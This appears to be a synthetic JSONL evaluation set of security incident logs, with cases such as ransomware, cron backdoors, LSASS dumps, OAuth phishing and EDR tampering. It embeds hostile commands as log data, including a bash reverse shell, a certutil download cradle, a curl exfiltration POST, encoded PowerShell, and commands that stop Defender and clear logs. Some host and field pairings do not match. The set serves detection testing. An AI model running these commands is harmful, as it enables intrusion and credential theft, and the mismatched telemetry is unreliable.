+{"incident_id": "INC-EVAL-091", "template_id": "dga-c2", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "GCP-GKE-NODE-04", "Image": "C:\\Windows\\System32\\svchost.exe", "DestinationIp": "45.142.122.111", "DestinationPort": 443, "Protocol": "tcp", "threat_actor": "Volt Typhoon"}
+{"incident_id": "INC-EVAL-092", "template_id": "https-c2-beacon", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "LIN-BUILD-CI03", "DestinationIp": "91.134.231.15", "DestinationPort": 443, "Protocol": "tcp", "ja3": "a0e9f5d64349fb13191bc781f81f42e1", "interval_secs": 60, "jitter_pct": 2}
+{"incident_id": "INC-EVAL-093", "template_id": "ransomware-encryption", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "WIN-FIN-DB01", "Image": "C:\\ProgramData\\enc.exe", "TargetFilename": "C:\\Users\\[email protected]\\Documents\\notes.docx.pwned", "User": "[email protected]", "rename_rate_per_min": 4200}
+{"incident_id": "INC-EVAL-093", "template_id": "ransomware-encryption", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "WIN-FIN-DB01", "Image": "C:\\ProgramData\\enc.exe", "TargetFilename": "C:\\Users\\[email protected]\\Desktop\\R3ADM3-FIN7.txt", "User": "[email protected]"}
+{"incident_id": "INC-EVAL-093", "template_id": "ransomware-encryption", "event_index": 2, "source": "edr", "rule": "Ransomware behaviour: high-rate file rename + ransom note", "severity": "critical", "Computer": "WIN-FIN-DB01", "threat_actor": "FIN7"}
+{"incident_id": "INC-EVAL-094", "template_id": "xmrig-cryptominer", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/tmp/xmrig", "a0": "xmrig", "a1": "-o", "a2": "192.168.1.100:5555", "hostname": "WIN-DC-PRIMARY", "cpu_pct": 95}
+{"incident_id": "INC-EVAL-095", "template_id": "bec-wire-fraud", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "Send", "UserId": "[email protected]", "ClientIP": "GCP-GKE-NODE-04", "Subject": "URGENT: Wire instructions from CFO", "From": "[email protected]", "ReplyTo": "[email protected]", "threat_actor": "APT29"}
+{"incident_id": "INC-EVAL-096", "template_id": "public-s3-bucket-pii", "event_index": 0, "source": "cloudtrail", "eventName": "PutBucketAcl", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "userIdentity": {"type": "IAMUser", "userName": "[email protected]"}, "requestParameters": {"bucketName": "aisoc-employees", "AccessControlPolicy": {"Grants": [{"Grantee": "AllUsers", "Permission": "READ"}]}}}
+{"incident_id": "INC-EVAL-096", "template_id": "public-s3-bucket-pii", "event_index": 1, "source": "cloudtrail", "eventName": "ListObjectsV2", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "sourceIPAddress": "91.134.231.15", "requestParameters": {"bucketName": "aisoc-employees", "max-keys": 1000}, "userIdentity": {"type": "AnonymousUser"}}
+{"incident_id": "INC-EVAL-097", "template_id": "azure-ad-impossible-travel", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "192.168.1.100", "location": {"city": "Vladivostok", "countryOrRegion": "RU"}, "resultType": 0, "authenticationDetails": [{"authenticationMethod": "Previously satisfied", "succeeded": true}], "riskEventTypes": ["unfamiliarFeatures", "unlikelyTravel"], "riskLevelAggregated": "high"}
+{"incident_id": "INC-EVAL-098", "template_id": "ddos-syn-flood", "event_index": 0, "source": "web_access", "http_method": "GET", "url": "https://WIN-HR-DESKTOP/", "status_code": 503, "pps": 1120000, "packet_type": "TCP-SYN", "edge_mitigation": "engaged", "duration_secs": 720}
+{"incident_id": "INC-EVAL-099", "template_id": "insider-mailbox-export", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "New-MailboxExportRequest", "UserId": "[email protected]", "Parameters": {"Mailbox": "[email protected]", "FilePath": "\\\\MAC-LEGAL-LAPTOP\\export\\[email protected]"}, "Bytes": 8300000000}
+{"incident_id": "INC-EVAL-100", "template_id": "office-vsto-addin", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 13, "Computer": "WIN-FILE-SHARE", "User": "[email protected]", "EventType": "SetValue", "TargetObject": "HKCU\\Software\\Microsoft\\Office\\Outlook\\Addins\\Aisoc.Updater", "Details": "LoadBehavior=3;Manifest=file:///C:/Users/[email protected]/AppData/Roaming/aisoc.vsto"}
+{"incident_id": "INC-EVAL-100", "template_id": "office-vsto-addin", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "WIN-FILE-SHARE", "Image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE", "DestinationIp": "10.0.99.42", "DestinationPort": 443}
+{"incident_id": "INC-EVAL-101", "template_id": "github-pat-leak", "event_index": 0, "source": "github_audit", "action": "git.clone", "actor": "[email protected]", "actor_ip": "45.142.122.111", "repo_count": 14, "programmatic_access_type": "personal_access_token", "user_agent": "git/2.40.0"}
+{"incident_id": "INC-EVAL-101", "template_id": "github-pat-leak", "event_index": 1, "source": "github_audit", "action": "push", "actor": "[email protected]", "repo": "[email protected]/dotfiles", "visibility": "public", "file_changed": ".env", "secret_detected": "github_pat_*"}
+{"incident_id": "INC-EVAL-102", "template_id": "ec2-imds-credential-theft", "event_index": 0, "source": "web_access", "http_method": "GET", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-app", "status_code": 200, "src_host": "LIN-BUILD-CI03", "imds_version": "v1"}
+{"incident_id": "INC-EVAL-102", "template_id": "ec2-imds-credential-theft", "event_index": 1, "source": "cloudtrail", "eventName": "AssumeRole", "eventSource": "sts.amazonaws.com", "awsRegion": "us-east-1", "sourceIPAddress": "172.16.50.7", "userIdentity": {"type": "AssumedRole", "principalId": "AIDA:role-app", "arn": "arn:aws:sts::123456789012:assumed-role/role-app/i-0abc"}, "userAgent": "aws-cli/2.13"}
+{"incident_id": "INC-EVAL-103", "template_id": "helpdesk-password-reset-abuse", "event_index": 0, "source": "m365_audit", "Workload": "AzureActiveDirectory", "Operation": "Reset user password.", "UserId": "[email protected]", "TargetUserId": "[email protected]", "ClientIP": "10.0.0.50"}
+{"incident_id": "INC-EVAL-103", "template_id": "helpdesk-password-reset-abuse", "event_index": 1, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "185.220.101.7", "resultType": 0, "seconds_after_reset": 87}
+{"incident_id": "INC-EVAL-104", "template_id": "oauth-refresh-token-theft", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "91.134.231.15", "resultType": 0, "authenticationProtocol": "oAuth2", "grantType": "refresh_token", "resourceDisplayName": "Microsoft Graph"}
+{"incident_id": "INC-EVAL-105", "template_id": "malicious-container-image", "event_index": 0, "source": "k8s_audit", "apiVersion": "audit.k8s.io/v1", "kind": "Event", "verb": "create", "objectRef": {"resource": "pods"}, "user": {"username": "system:serviceaccount:default:deploy"}, "requestObject": {"spec": {"containers": [{"image": "registry.local/repo:malicious-backdoor"}]}}, "node": "WIN-FILE-SHARE"}
+{"incident_id": "INC-EVAL-105", "template_id": "malicious-container-image", "event_index": 1, "source": "edr", "rule": "Image scan: embedded netcat reverse-shell binary", "severity": "high", "Computer": "WIN-FILE-SHARE", "image": "registry.local/repo:malicious-backdoor", "cve_layer_count": 2}
+{"incident_id": "INC-EVAL-106", "template_id": "outlook-auto-forward-rule", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "New-InboxRule", "UserId": "[email protected]", "Parameters": {"Name": "Sync", "ForwardTo": "[email protected]", "DeleteMessage": true, "MarkAsRead": true}, "threat_actor": "MosaicRegressor"}
+{"incident_id": "INC-EVAL-107", "template_id": "linux-journald-tampering", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/usr/bin/journalctl", "a0": "journalctl", "a1": "--rotate", "a2": "--vacuum-time=1s", "hostname": "LIN-OBS-LOGGER", "user": "[email protected]"}
+{"incident_id": "INC-EVAL-108", "template_id": "compromised-ci-runner", "event_index": 0, "source": "github_audit", "action": "workflow_run.requested", "workflow": "deploy.yml", "actor": "external-contrib", "repository": "aisoc/web", "event": "pull_request", "runner": "LIN-BUILD-CI03"}
+{"incident_id": "INC-EVAL-108", "template_id": "compromised-ci-runner", "event_index": 1, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/usr/bin/curl", "a1": "-X", "a2": "POST", "a3": "https://192.168.1.100/exfil", "hostname": "LIN-BUILD-CI03", "user": "ci-runner", "secret_detected": true}
+{"incident_id": "INC-EVAL-109", "template_id": "vpn-new-geography", "event_index": 0, "source": "vpn", "action": "login_success", "user": "[email protected]", "src_ip": "10.0.99.42", "geo_country": "UA", "first_login_country": true}
+{"incident_id": "INC-EVAL-109", "template_id": "vpn-new-geography", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 5145, "Computer": "LIN-K8S-NODE01", "SubjectUserName": "[email protected]", "ShareName": "\\\\*\\IPC$", "IpAddress": "10.0.99.42", "EventCount": 128}
+{"incident_id": "INC-EVAL-110", "template_id": "service-account-privileged-command", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-DEVOPS-LT", "User": "[email protected]", "Image": "C:\\Windows\\System32\\wevtutil.exe", "CommandLine": "wevtutil cl Security", "LogonType": 5}
+{"incident_id": "INC-EVAL-111", "template_id": "phishing-macro-email", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "Send", "UserId": "[email protected]", "ClientIP": "192.168.1.100", "Subject": "Q4 invoice (action required)", "AttachmentNames": ["invoice_q4.docm"]}
+{"incident_id": "INC-EVAL-111", "template_id": "phishing-macro-email", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "LIN-OBS-LOGGER", "User": "[email protected]", "Image": "C:\\Windows\\System32\\cmd.exe", "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE", "CommandLine": "cmd.exe /c powershell -nop -w hidden -enc <stage2>"}
+{"incident_id": "INC-EVAL-111", "template_id": "phishing-macro-email", "event_index": 2, "source": "edr", "rule": "Office macro spawned cmd.exe", "severity": "high", "Computer": "LIN-OBS-LOGGER", "User": "[email protected]", "threat_actor": "Scattered Spider"}
+{"incident_id": "INC-EVAL-112", "template_id": "webapp-sqli-ssrf-exploit", "event_index": 0, "source": "web_access", "http_method": "GET", "url": "https://MAC-LEGAL-LAPTOP/search?q=' OR 1=1--", "status_code": 200, "src_ip": "198.51.100.23", "user_agent": "curl/8.4.0", "rule_match": "WAF:SQLI:1011", "cve": "CVE-2024-1234"}
+{"incident_id": "INC-EVAL-112", "template_id": "webapp-sqli-ssrf-exploit", "event_index": 1, "source": "web_access", "http_method": "GET", "url": "https://MAC-LEGAL-LAPTOP/proxy?u=http://169.254.169.254/latest/meta-data/", "status_code": 200, "src_ip": "198.51.100.23", "user_agent": "curl/8.4.0", "rule_match": "WAF:SSRF:2007"}
+{"incident_id": "INC-EVAL-113", "template_id": "confluence-watering-hole", "event_index": 0, "source": "web_access", "http_method": "POST", "url": "https://confluence.aisoc.dev/pages/editpage.action?pageId=8472", "status_code": 200, "src_ip": "185.220.101.7", "user_agent": "Mozilla/5.0", "payload_excerpt": "<script src=//185.220.101.7/x.js></script>"}
+{"incident_id": "INC-EVAL-113", "template_id": "confluence-watering-hole", "event_index": 1, "source": "edr", "rule": "Browser exploitation: drive-by JavaScript loader", "severity": "high", "Computer": "WIN-HR-DESKTOP", "User": "[email protected]", "threat_actor": "MagicWeb"}
+{"incident_id": "INC-EVAL-114", "template_id": "npm-supply-chain", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/usr/bin/node", "a0": "node", "a1": "/tmp/node_modules/event-stream/postinstall.js", "hostname": "WIN-DC-PRIMARY", "user": "ci-runner"}
+{"incident_id": "INC-EVAL-114", "template_id": "npm-supply-chain", "event_index": 1, "source": "github_audit", "action": "workflow_run.completed", "workflow": "ci.yml", "actor": "dependabot[bot]", "repository": "aisoc/web", "conclusion": "success", "package_added": "[email protected]"}
+{"incident_id": "INC-EVAL-114", "template_id": "npm-supply-chain", "event_index": 2, "source": "edr", "rule": "npm post-install reverse shell", "severity": "high", "Computer": "WIN-DC-PRIMARY", "User": "ci-runner", "dest_ip": "192.168.1.100", "dest_port": 4444}
+{"incident_id": "INC-EVAL-115", "template_id": "usb-autorun-airgap", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 6416, "Computer": "WIN-PROD-WEB02", "SubjectUserName": "[email protected]", "ClassName": "USB", "DeviceDescription": "SanDisk Cruzer 16GB"}
+{"incident_id": "INC-EVAL-115", "template_id": "usb-autorun-airgap", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-PROD-WEB02", "User": "[email protected]", "Image": "C:\\Python311\\python.exe", "ParentImage": "C:\\Windows\\System32\\rundll32.exe", "CommandLine": "python.exe E:\\autorun.py --stage C:\\Temp\\"}
+{"incident_id": "INC-EVAL-116", "template_id": "oauth-consent-phish", "event_index": 0, "source": "m365_audit", "Workload": "AzureActiveDirectory", "Operation": "Consent to application.", "UserId": "[email protected]", "ApplicationId": "00000003-0000-0ff1-ce00-000000000000", "ConsentedScopes": ["Mail.Read", "Files.Read.All", "offline_access"]}
+{"incident_id": "INC-EVAL-116", "template_id": "oauth-consent-phish", "event_index": 1, "source": "m365_audit", "Workload": "Exchange", "Operation": "New-InboxRule", "UserId": "[email protected]", "Parameters": {"Name": "Auto-fwd", "ForwardTo": "[email protected]", "DeleteMessage": true}}
+{"incident_id": "INC-EVAL-117", "template_id": "powershell-obfuscated-dropper", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-HR-DESKTOP", "User": "[email protected]", "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "ParentImage": "C:\\Windows\\explorer.exe", "CommandLine": "powershell.exe -nop -w hidden -enc JABzAD0ATgB..."}
+{"incident_id": "INC-EVAL-117", "template_id": "powershell-obfuscated-dropper", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4104, "Computer": "WIN-HR-DESKTOP", "User": "[email protected]", "ScriptBlockText": "$s=[System.Convert]::FromBase64String(...);[Reflection.Assembly]::Load($s).EntryPoint.Invoke(...)", "threat_actor": "MosaicRegressor"}
+{"incident_id": "INC-EVAL-118", "template_id": "certutil-download-cradle", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-PROD-WEB02", "Image": "C:\\Windows\\System32\\certutil.exe", "ParentImage": "C:\\Windows\\System32\\cmd.exe", "CommandLine": "certutil -urlcache -split -f http://198.51.100.23/p.exe %TEMP%\\p.exe"}
+{"incident_id": "INC-EVAL-118", "template_id": "certutil-download-cradle", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "WIN-PROD-WEB02", "Image": "C:\\Windows\\System32\\certutil.exe", "DestinationIp": "198.51.100.23", "DestinationPort": 80, "Protocol": "tcp"}
+{"incident_id": "INC-EVAL-119", "template_id": "docker-runtime-abuse", "event_index": 0, "source": "web_access", "http_method": "POST", "url": "http://WIN-FILE-SHARE:2375/containers/create", "status_code": 201, "src_ip": "185.220.101.7", "request_body": {"Image": "monero/xmrig", "HostConfig": {"Privileged": true}}}
+{"incident_id": "INC-EVAL-119", "template_id": "docker-runtime-abuse", "event_index": 1, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/usr/bin/docker", "a0": "docker", "a1": "run", "a2": "--privileged", "hostname": "WIN-FILE-SHARE", "user": "root"}
+{"incident_id": "INC-EVAL-120", "template_id": "wmi-event-subscription", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 19, "Computer": "WIN-PROD-WEB02", "User": "[email protected]", "EventNamespace": "ROOT\\Subscription", "Name": "UpdaterFilter", "Query": "SELECT * FROM __InstanceModificationEvent WITHIN 60"}
+{"incident_id": "INC-EVAL-120", "template_id": "wmi-event-subscription", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 21, "Computer": "WIN-PROD-WEB02", "Operation": "Created", "Name": "UpdaterConsumer", "Type": "CommandLineEventConsumer", "Destination": "powershell.exe -enc <encoded>"}
+{"incident_id": "INC-EVAL-121", "template_id": "registry-run-persistence", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 13, "Computer": "K8S-PROD-CLUSTER", "User": "[email protected]", "EventType": "SetValue", "TargetObject": "HKU\\S-1-5-21-...\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater", "Details": "C:\\Users\\[email protected]\\AppData\\Roaming\\updater.exe"}
+{"incident_id": "INC-EVAL-121", "template_id": "registry-run-persistence", "event_index": 1, "source": "edr", "rule": "Persistence: Registry Run with revoked-cert signed binary", "severity": "high", "Computer": "K8S-PROD-CLUSTER", "User": "[email protected]", "threat_actor": "ALPHV/BlackCat"}
+{"incident_id": "INC-EVAL-122", "template_id": "scheduled-task-persistence", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4698, "Computer": "WIN-PROD-WEB02", "SubjectUserName": "[email protected]", "TaskName": "\\Microsoft\\Windows\\UpdaterTask", "TaskContent": "<Hidden>true</Hidden><Exec>%APPDATA%\\Roaming\\u.ps1</Exec>"}
+{"incident_id": "INC-EVAL-122", "template_id": "scheduled-task-persistence", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-PROD-WEB02", "Image": "C:\\Windows\\System32\\schtasks.exe", "ParentImage": "C:\\Windows\\System32\\cmd.exe", "CommandLine": "schtasks /Create /SC MINUTE /MO 30 /TN UpdaterTask /TR \"powershell -f %APPDATA%\\Roaming\\u.ps1\" /F", "User": "[email protected]"}
+{"incident_id": "INC-EVAL-123", "template_id": "uefi-firmware-implant", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4673, "Computer": "WIN-PROD-WEB02", "ObjectName": "\\Device\\HarddiskVolume1\\EFI\\Microsoft\\Boot\\bootmgfw.efi", "ProcessName": "C:\\Windows\\System32\\driver_signing.exe"}
+{"incident_id": "INC-EVAL-123", "template_id": "uefi-firmware-implant", "event_index": 1, "source": "edr", "rule": "UEFI implant: MosaicRegressor signature match", "severity": "critical", "Computer": "WIN-PROD-WEB02", "indicator_path": "ESP:/EFI/Boot/bootx64.efi"}
+{"incident_id": "INC-EVAL-124", "template_id": "cron-backdoor", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "openat", "exe": "/usr/bin/vi", "path": "/etc/cron.d/zz-update", "hostname": "MAC-LEGAL-LAPTOP", "user": "[email protected]", "a2": "O_WRONLY|O_CREAT"}
+{"incident_id": "INC-EVAL-124", "template_id": "cron-backdoor", "event_index": 1, "source": "linux_journald", "_SYSTEMD_UNIT": "cron.service", "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/91.134.231.15/4444 0>&1)", "hostname": "MAC-LEGAL-LAPTOP"}
+{"incident_id": "INC-EVAL-125", "template_id": "uac-bypass-fodhelper", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 13, "Computer": "WIN-EXCHANGE-01", "User": "[email protected]", "EventType": "SetValue", "TargetObject": "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command", "Details": "C:\\Windows\\System32\\cmd.exe /c whoami"}
+{"incident_id": "INC-EVAL-125", "template_id": "uac-bypass-fodhelper", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-EXCHANGE-01", "Image": "C:\\Windows\\System32\\fodhelper.exe", "ParentImage": "C:\\Windows\\explorer.exe", "IntegrityLevel": "High", "User": "SYSTEM"}
+{"incident_id": "INC-EVAL-126", "template_id": "k8s-privileged-pod-escape", "event_index": 0, "source": "k8s_audit", "apiVersion": "audit.k8s.io/v1", "kind": "Event", "verb": "create", "objectRef": {"resource": "pods"}, "user": {"username": "[email protected]"}, "requestObject": {"spec": {"containers": [{"name": "x", "image": "alpine", "securityContext": {"privileged": true}}], "hostPID": true}}, "stage": "ResponseComplete", "responseStatus": {"code": 201}, "node": "GCP-GKE-NODE-04"}
+{"incident_id": "INC-EVAL-126", "template_id": "k8s-privileged-pod-escape", "event_index": 1, "source": "linux_auditd", "type": "SYSCALL", "syscall": "openat", "exe": "/bin/sh", "path": "/host/etc/shadow", "hostname": "GCP-GKE-NODE-04", "user": "root"}
+{"incident_id": "INC-EVAL-127", "template_id": "linux-suid-abuse", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "chmod", "exe": "/bin/chmod", "a1": "/tmp/.x", "mode": "04755", "hostname": "WIN-DEVOPS-LT", "user": "[email protected]"}
+{"incident_id": "INC-EVAL-127", "template_id": "linux-suid-abuse", "event_index": 1, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/tmp/.x", "hostname": "WIN-DEVOPS-LT", "uid": 1001, "euid": 0, "user": "[email protected]"}
+{"incident_id": "INC-EVAL-128", "template_id": "process-hollowing-svchost", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 8, "Computer": "GCP-GKE-NODE-04", "SourceImage": "C:\\Windows\\System32\\powershell.exe", "TargetImage": "C:\\Windows\\System32\\svchost.exe", "StartFunction": "LoadLibraryW", "NewThreadId": 4716}
+{"incident_id": "INC-EVAL-128", "template_id": "process-hollowing-svchost", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "GCP-GKE-NODE-04", "Image": "C:\\Windows\\System32\\svchost.exe", "DestinationIp": "91.134.231.15", "DestinationPort": 443, "Protocol": "tcp", "ja3": "a0e9f5d64349fb13191bc781f81f42e1"}
+{"incident_id": "INC-EVAL-128", "template_id": "process-hollowing-svchost", "event_index": 2, "source": "edr", "rule": "Cobalt Strike beacon (process hollowing)", "severity": "high", "Computer": "GCP-GKE-NODE-04", "threat_actor": "ALPHV/BlackCat"}
+{"incident_id": "INC-EVAL-129", "template_id": "event-log-cleared", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 1102, "Computer": "MAC-CFO-LAPTOP", "SubjectUserName": "[email protected]", "Channel": "Security", "Description": "The audit log was cleared."}
+{"incident_id": "INC-EVAL-129", "template_id": "event-log-cleared", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "MAC-CFO-LAPTOP", "User": "[email protected]", "Image": "C:\\Windows\\System32\\wevtutil.exe", "CommandLine": "wevtutil cl Security"}
+{"incident_id": "INC-EVAL-130", "template_id": "disable-edr-tooling", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "GCP-GKE-NODE-04", "User": "[email protected]", "Image": "C:\\Windows\\System32\\sc.exe", "CommandLine": "sc.exe stop CSAgent"}
+{"incident_id": "INC-EVAL-130", "template_id": "disable-edr-tooling", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "GCP-GKE-NODE-04", "User": "[email protected]", "Image": "C:\\Windows\\System32\\sc.exe", "CommandLine": "sc.exe stop WinDefend"}
+{"incident_id": "INC-EVAL-130", "template_id": "disable-edr-tooling", "event_index": 2, "source": "edr", "rule": "EDR tampering attempt", "severity": "critical", "Computer": "GCP-GKE-NODE-04", "User": "[email protected]"}
+{"incident_id": "INC-EVAL-131", "template_id": "lsass-memory-dump", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 10, "Computer": "GCP-GKE-NODE-04", "SourceImage": "C:\\Windows\\System32\\rundll32.exe", "TargetImage": "C:\\Windows\\System32\\lsass.exe", "GrantedAccess": "0x1010", "CallTrace": "comsvcs.dll+5d24|MiniDumpWriteDump", "User": "[email protected]"}
+{"incident_id": "INC-EVAL-131", "template_id": "lsass-memory-dump", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "GCP-GKE-NODE-04", "Image": "C:\\Windows\\System32\\rundll32.exe", "TargetFilename": "C:\\Windows\\Temp\\lsass.dmp", "User": "[email protected]"}
+{"incident_id": "INC-EVAL-132", "template_id": "credential-spray", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "91.134.231.15", "resultType": 50126, "resultDescription": "Invalid username or password", "appDisplayName": "Office 365 Exchange Online", "attempt_count": 1500}
+{"incident_id": "INC-EVAL-132", "template_id": "credential-spray", "event_index": 1, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "91.134.231.15", "resultType": 0, "resultDescription": "Success", "conditionalAccessStatus": "success", "riskLevelAggregated": "high"}
+{"incident_id": "INC-EVAL-133", "template_id": "kerberoasting", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4769, "Computer": "WIN-DC-PRIMARY", "TargetUserName": "[email protected]", "ServiceName": "MSSQLSvc/sql.aisoc.dev", "TicketEncryptionType": "0x17", "IpAddress": "WIN-EXCHANGE-01"}
+{"incident_id": "INC-EVAL-133", "template_id": "kerberoasting", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4769, "Computer": "WIN-DC-PRIMARY", "TargetUserName": "[email protected]", "ServiceName": "HTTP/web01.aisoc.dev", "TicketEncryptionType": "0x17", "IpAddress": "WIN-EXCHANGE-01"}
+{"incident_id": "INC-EVAL-134", "template_id": "ad-dcsync", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4662, "Computer": "WIN-DC-PRIMARY", "SubjectUserName": "[email protected]", "ObjectServer": "DS", "ObjectType": "domainDNS", "Properties": "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "ClientIP": "WIN-FIN-DB01"}
+{"incident_id": "INC-EVAL-135", "template_id": "saml-golden-ticket", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "45.142.122.111", "resultType": 0, "authenticationDetails": [{"authenticationMethod": "Federated", "succeeded": true}], "tokenIssuerType": "ADFederationServices", "tokenIssuerName": "forged-adfs.aisoc.dev"}
+{"incident_id": "INC-EVAL-135", "template_id": "saml-golden-ticket", "event_index": 1, "source": "m365_audit", "Workload": "AzureActiveDirectory", "Operation": "Add member to role.", "UserId": "[email protected]", "ModifiedProperties": [{"Name": "Role.DisplayName", "NewValue": "Global Administrator"}]}
+{"incident_id": "INC-EVAL-136", "template_id": "ldap-bloodhound-discovery", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "GCP-GKE-NODE-04", "Image": "C:\\Tools\\SharpHound.exe", "DestinationIp": "WIN-DC-PRIMARY", "DestinationPort": 389, "User": "[email protected]"}
+{"incident_id": "INC-EVAL-136", "template_id": "ldap-bloodhound-discovery", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4662, "Computer": "WIN-DC-PRIMARY", "SubjectUserName": "[email protected]", "ObjectType": "user", "AccessMask": "0x100", "EventCount": 8400}
